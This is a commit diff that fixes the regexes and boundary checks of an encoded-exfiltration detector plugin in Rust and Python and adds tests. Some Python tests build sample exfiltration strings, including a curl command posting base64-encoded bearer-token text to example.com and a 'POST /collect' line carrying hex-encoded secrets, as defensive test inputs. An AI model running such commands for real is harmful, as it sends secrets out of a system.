fix: encoded exfil detector regex and boundary validation (#3379)

- Use core-only regex patterns for base64, base64url, hex (Rust regex crate
  does not support lookbehind/lookahead).
- Add has_valid_boundaries() and validate in scan_text so adjacent encoded
  strings are both detected and false positives avoided.
- Fix printable_ratio filter for current Rust.
- Add Rust test test_scan_text_detects_adjacent_matches.
- Add Python tests: word boundaries, base64url, percent/escaped hex,
  no false positives (URLs, alphanumeric); run in Python and Rust modes.

Signed-off-by: Luca <lucarlig@protonmail.com>

Author: lucarlig

plugins_rust/encoded_exfil_detection/src/lib.rs

@@ -7,18 +7,18 @@ use std::collections::HashMap;
 use std::sync::LazyLock;
 
 static BASE64_RE: LazyLock<Regex> = LazyLock::new(|| {
-    Regex::new(r"(?<![A-Za-z0-9+/=])[A-Za-z0-9+/]{16,}={0,2}(?![A-Za-z0-9+/=])")
-        .expect("failed to compile BASE64_RE")
+    // Match core pattern only; validate boundaries in code (Rust regex has no lookbehind/lookahead)
+    Regex::new(r"[A-Za-z0-9+/]{16,}={0,2}").expect("failed to compile BASE64_RE")
 });
 
 static BASE64URL_RE: LazyLock<Regex> = LazyLock::new(|| {
-    Regex::new(r"(?<![A-Za-z0-9_\-])[A-Za-z0-9_\-]{16,}={0,2}(?![A-Za-z0-9_\-])")
-        .expect("failed to compile BASE64URL_RE")
+    // Match core pattern only; validate boundaries in code
+    Regex::new(r"[A-Za-z0-9_\-]{16,}={0,2}").expect("failed to compile BASE64URL_RE")
 });
 
 static HEX_RE: LazyLock<Regex> = LazyLock::new(|| {
-    Regex::new(r"(?<![A-Fa-f0-9])[A-Fa-f0-9]{24,}(?![A-Fa-f0-9])")
-        .expect("failed to compile HEX_RE")
+    // Match core pattern only; validate boundaries in code
+    Regex::new(r"[A-Fa-f0-9]{24,}").expect("failed to compile HEX_RE")
 });
 
 static PERCENT_RE: LazyLock<Regex> = LazyLock::new(|| {
@@ -296,7 +296,7 @@ fn printable_ratio(data: &[u8]) -> f64 {
 
     let printable = data
         .iter()
-        .filter(|byte| (32..=126).contains(byte) || **byte == b'\n' || **byte == b'\r' || **byte == b'\t')
+        .filter(|byte| (32..=126).contains(*byte) || **byte == b'\n' || **byte == b'\r' || **byte == b'\t')
         .count();
 
     printable as f64 / data.len() as f64
@@ -322,6 +322,31 @@ fn has_egress_context(text: &str, start: usize, end: usize) -> bool {
     EGRESS_HINTS.iter().any(|hint| window.contains(hint))
 }
 
+/// Validate that a match has proper word boundaries (not part of a larger alphanumeric sequence).
+/// Rust regex crate does not support lookbehind/lookahead; this prevents false positives and
+/// allows adjacent matches without consuming boundary chars.
+fn has_valid_boundaries(text: &str, start: usize, end: usize, core_chars: &str) -> bool {
+    let bytes = text.as_bytes();
+
+    if start > 0 {
+        let prev_char = bytes[start - 1] as char;
+        let boundary_chars = core_chars.replace('=', "");
+        if boundary_chars.contains(prev_char) {
+            return false;
+        }
+    }
+
+    if end < bytes.len() {
+        let next_char = bytes[end] as char;
+        let boundary_chars = core_chars.replace('=', "");
+        if boundary_chars.contains(next_char) {
+            return false;
+        }
+    }
+
+    true
+}
+
 fn evaluate_candidate(
     text: &str,
     path: &str,
@@ -437,16 +462,24 @@ fn scan_text(text: &str, path: &str, cfg: &DetectorConfig) -> (String, Vec<Findi
             continue;
         }
 
+        let valid_chars = match encoding {
+            "base64" => "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
+            "base64url" => "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-=",
+            "hex" => "ABCDEFabcdef0123456789",
+            _ => "",
+        };
+
         for matched in regex.find_iter(text) {
-            if let Some(finding) = evaluate_candidate(
-                text,
-                path,
-                encoding,
-                matched.as_str(),
-                matched.start(),
-                matched.end(),
-                cfg,
-            ) {
+            let start = matched.start();
+            let end = matched.end();
+
+            if !valid_chars.is_empty() && !has_valid_boundaries(text, start, end, valid_chars) {
+                continue;
+            }
+
+            if let Some(finding) =
+                evaluate_candidate(text, path, encoding, matched.as_str(), start, end, cfg)
+            {
                 let key = (finding.start, finding.end);
                 match findings_by_span.get(&key) {
                     Some(existing) if existing.score >= finding.score => {}
@@ -617,4 +650,17 @@ mod tests {
         let (_, findings) = scan_text(text, "", &cfg);
         assert!(findings.is_empty());
     }
+
+    #[test]
+    fn test_scan_text_detects_adjacent_matches() {
+        let cfg = DetectorConfig::default();
+        let encoded1 = STANDARD.encode(b"password=secret-value-one");
+        let encoded2 = STANDARD.encode(b"token=secret-value-two");
+        let text = format!("[{}] [{}]", encoded1, encoded2);
+        let (_, findings) = scan_text(&text, "", &cfg);
+
+        assert_eq!(findings.len(), 2, "Expected 2 findings for adjacent base64 strings");
+        assert_ne!(findings[0].start, findings[1].start);
+        assert_ne!(findings[0].end, findings[1].end);
+    }
 }

tests/unit/plugins/test_encoded_exfil_detector.py

@@ -70,6 +70,81 @@ def test_clean_input_no_findings(self, use_rust: bool):
         assert findings == []
         assert redacted == payload
 
+    def test_base64_with_word_boundaries(self, use_rust: bool):
+        """Base64 patterns match at word boundaries (spaces, start, end, punctuation)."""
+        cfg = EncodedExfilDetectorConfig()
+        encoded = base64.b64encode(b"authorization: bearer secret-token-value").decode()
+
+        count1, _, _ = _scan_container({"text": f"data {encoded} end"}, cfg, use_rust=use_rust)
+        assert count1 >= 1, "Should detect base64 with spaces"
+
+        count2, _, _ = _scan_container({"text": f"{encoded} followed by text"}, cfg, use_rust=use_rust)
+        assert count2 >= 1, "Should detect base64 at start"
+
+        count3, _, _ = _scan_container({"text": f"text followed by {encoded}"}, cfg, use_rust=use_rust)
+        assert count3 >= 1, "Should detect base64 at end"
+
+        count4, _, _ = _scan_container(
+            {"text": f"curl -d '{encoded}' https://example.com"}, cfg, use_rust=use_rust
+        )
+        assert count4 >= 1, "Should detect base64 with punctuation"
+
+    def test_hex_with_word_boundaries(self, use_rust: bool):
+        """Hex patterns match at word boundaries."""
+        cfg = EncodedExfilDetectorConfig()
+        hex_data = b"password=secret-value-for-upload".hex()
+
+        count1, _, _ = _scan_container({"text": f"data {hex_data} end"}, cfg, use_rust=use_rust)
+        assert count1 >= 1, "Should detect hex with spaces"
+
+        count2, _, _ = _scan_container({"text": f"POST /collect data={hex_data}"}, cfg, use_rust=use_rust)
+        assert count2 >= 1, "Should detect hex with punctuation"
+
+    def test_no_false_positives_in_urls(self, use_rust: bool):
+        """Normal URLs without sensitive encoded data should not trigger."""
+        cfg = EncodedExfilDetectorConfig()
+        payload = {
+            "url": "https://example.com/path/to/resource",
+            "message": "Visit our website at https://example.com",
+        }
+        count, _, _ = _scan_container(payload, cfg, use_rust=use_rust)
+        assert count == 0, "Should not detect normal URLs as encoded exfil"
+
+    def test_concatenated_alphanumeric_not_detected(self, use_rust: bool):
+        """Long alphanumeric strings that are not valid encodings should not trigger."""
+        cfg = EncodedExfilDetectorConfig()
+        payload = {"id": "user123456789abcdefghijklmnopqrstuvwxyz"}
+        count, _, _ = _scan_container(payload, cfg, use_rust=use_rust)
+        assert count == 0, "Should not detect random alphanumeric strings"
+
+    def test_base64url_detection(self, use_rust: bool):
+        """Base64url encoding (uses - and _) is detected."""
+        cfg = EncodedExfilDetectorConfig()
+        encoded = base64.urlsafe_b64encode(b"api_key=secret-token-value-here").decode()
+        count, _, findings = _scan_container({"data": f"token={encoded}"}, cfg, use_rust=use_rust)
+        assert count >= 1, "Should detect base64url encoding"
+        assert any(f.get("encoding") in {"base64", "base64url"} for f in findings)
+
+    def test_percent_encoding_detection(self, use_rust: bool):
+        """Percent-encoded data is detected."""
+        cfg = EncodedExfilDetectorConfig()
+        text = "password=secret-value"
+        percent_encoded = "".join(f"%{ord(c):02x}" for c in text)
+        count, _, findings = _scan_container(
+            {"data": f"send {percent_encoded} to server"}, cfg, use_rust=use_rust
+        )
+        assert count >= 1, "Should detect percent encoding"
+        assert any(f.get("encoding") == "percent_encoding" for f in findings)
+
+    def test_escaped_hex_detection(self, use_rust: bool):
+        """Escaped hex (\\xNN) is detected."""
+        cfg = EncodedExfilDetectorConfig()
+        text = "token=secret"
+        escaped_hex = "".join(f"\\x{ord(c):02x}" for c in text)
+        count, _, findings = _scan_container({"data": f"payload {escaped_hex}"}, cfg, use_rust=use_rust)
+        assert count >= 1, "Should detect escaped hex"
+        assert any(f.get("encoding") == "escaped_hex" for f in findings)
+
 
 @pytest.mark.asyncio
 class TestEncodedExfilPluginHooks: